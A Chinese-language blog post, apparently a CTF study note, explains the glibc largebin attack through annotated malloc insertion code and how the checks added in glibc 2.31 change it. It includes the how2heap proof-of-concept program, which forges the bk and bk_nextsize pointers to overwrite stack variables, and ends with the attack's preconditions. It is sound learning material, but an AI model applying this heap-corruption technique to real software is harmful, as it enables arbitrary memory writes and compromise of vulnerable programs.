Featured image of post Largebin Attack

Largebin Attack

https://blog.csdn.net/Mr_Fmnwon/article/details/142330217

https://blog.csdn.net/2302_79542511/article/details/141200902

先放一张largebin结构图 bins

源码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
if (in_smallbin_range(size)) 
{
    victim_index = smallbin_index(size);
    bck = bin_at(av, victim_index);
    fwd = bck->fd;
}
//下面那个else开始是largebin的插入
else 
{

    victim_index = largebin_index(size);// 获取对应 bin 的头节点
        bck = bin_at(av, victim_index);   // 获取 bin 中的第一个 chunk
    fwd = bck->fd; 

    if (fwd != bck) {

        size |= PREV_INUSE;
        assert((bck->bk->size & NON_MAIN_ARENA) == 0);

        if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
            '''
                第一种情况,比最小的小
                '''
                fwd = bck;
            bck = bck->bk; 

            victim->fd_nextsize = fwd->fd; 

            victim->bk_nextsize = fwd->fd->bk_nextsize; 

            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

        } 
        else 
        {
            '''第二种遍历找位置'''
                assert((fwd->size & NON_MAIN_ARENA) == 0);

            while ((unsigned long) size < fwd->size) {
                fwd = fwd->fd_nextsize;
                assert((fwd->size & NON_MAIN_ARENA) == 0);
            }

            if ((unsigned long) size == (unsigned long) fwd->size)
                fwd = fwd->fd; 
            else 
            {
                '''如果fwd->bk_nextsize被提前构造那victim->bk_nextsize会被改'''
                    //fwd此时指向第一个比victim小的chunk
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;

            }
            bck = fwd->bk;
        }
    } 
    else 
        victim->fd_nextsize = victim->bk_nextsize = victim;

}
mark_bin(av, victim_index);
'''这里通上 ,提前构造fwd->bk'''
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

插入chunk比最小的大

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 while ((unsigned long) size < fwd->size) {
                fwd = fwd->fd_nextsize;
                assert((fwd->size & NON_MAIN_ARENA) == 0);
            }

            if ((unsigned long) size == (unsigned long) fwd->size)
                fwd = fwd->fd; 
            else 
            {
                '''如果fwd->bk_nextsize被提前构造那victim->bk_nextsize会被改'''
                    //fwd此时指向第一个比victim小的chunk
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;

            }

此时fwd指向比victim小的最大chunk,我们提前修改fwd的bk_nextsize的话

victim->bk_nextsize->fd_nextsize = victim;就可以向fwd->bk_next_size+0x20中写一个victim地址(heap地址),这种情况只有在2.31之前有效

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 bck = fwd->bk;
        }
    } 
    else 
        victim->fd_nextsize = victim->bk_nextsize = victim;

}
mark_bin(av, victim_index);
'''这里通上 ,提前构造fwd->bk'''
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

这里控制fwd->bk(bck),则bck->fd = victim;将bck+0x10处改为victim地址

插入chunk比最小chunk还小

从2.31开始引入了两个检查

1
2
3
4
5
6
7
// line 3867
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
  malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

// line 3872
bck = fwd->bk;
if (bck->fd != fwd)

但是如果插入chunk比最小的largebin_chunk还小会直接被链入,没有这些检查

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
            '''
                第一种情况,比最小的小
                '''
                fwd = bck;
            bck = bck->bk; 
            victim->fd_nextsize = fwd->fd; 
            victim->bk_nextsize = fwd->fd->bk_nextsize; 
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        } 

这时fwd->fd是largebin的最大chunk,我们控制fwd->fd->bk_nextsize为addr,则victim->bk_nextsize = fwd->fd->bk_nextsize; 把victim->bk_nextsize赋值为addr,

victim->bk_nextsize->fd_nextsize = victim;将addr+0x18改为victim地址

how2heap demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

#include <stdio.h>
#include <stdlib.h>

int main()
{

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);

free(p1);
free(p2);
void* p4 = malloc(0x90);
free(p3);


p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);


malloc(0x90);



fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

执行到23行后,有两个空闲chunk在unsortedbin

1

然后malloc(0x90),先扫描p1,p2将他们分别放进smallbin和largebin,然后分割smallbin的p1,并把分割后的chunk(0x330-0xa0)放回unsortedbin

接下来free(p3)又free了一个0x410的chunk

然后修改了largebin里的p2,把size改成0x3f1,既属于largebin,又小于p3 size

2

接下来一个malloc(0x90)会将p3插入largebin,触发

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
while ((unsigned long) size < fwd->size) {
              fwd = fwd->fd_nextsize;
              assert((fwd->size & NON_MAIN_ARENA) == 0);
          }

          if ((unsigned long) size == (unsigned long) fwd->size)
              fwd = fwd->fd; 
          else 
          {
              '''如果fwd->bk_nextsize被提前构造那victim->bk_nextsize会被改'''
              victim->fd_nextsize = fwd;
              victim->bk_nextsize = fwd->bk_nextsize;
              fwd->bk_nextsize = victim;
              victim->bk_nextsize->fd_nextsize = victim;

          }

这个代码,此时victim相当于p3,fwd相当于p2,p3的bk_nextsize被修改成我们构造的addr2,*(addr2+4)被改成p3地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
          bck = fwd->bk;
      }
  } 
  else 
    victim->fd_nextsize = victim->bk_nextsize = victim;

}
mark_bin(av, victim_index);
'''这里通上 ,提前构造fwd->bk'''
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;

bck->fd = victim;
// 等价于
(fwd->bk)->fd = victim;
// 等价于
*(addr1+2) = victim;

p3的bk被改为addr1,*(addr1+2)被改为p2地址

利用条件

  • 可以修改一个 large bin chunk 的 data
  • 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计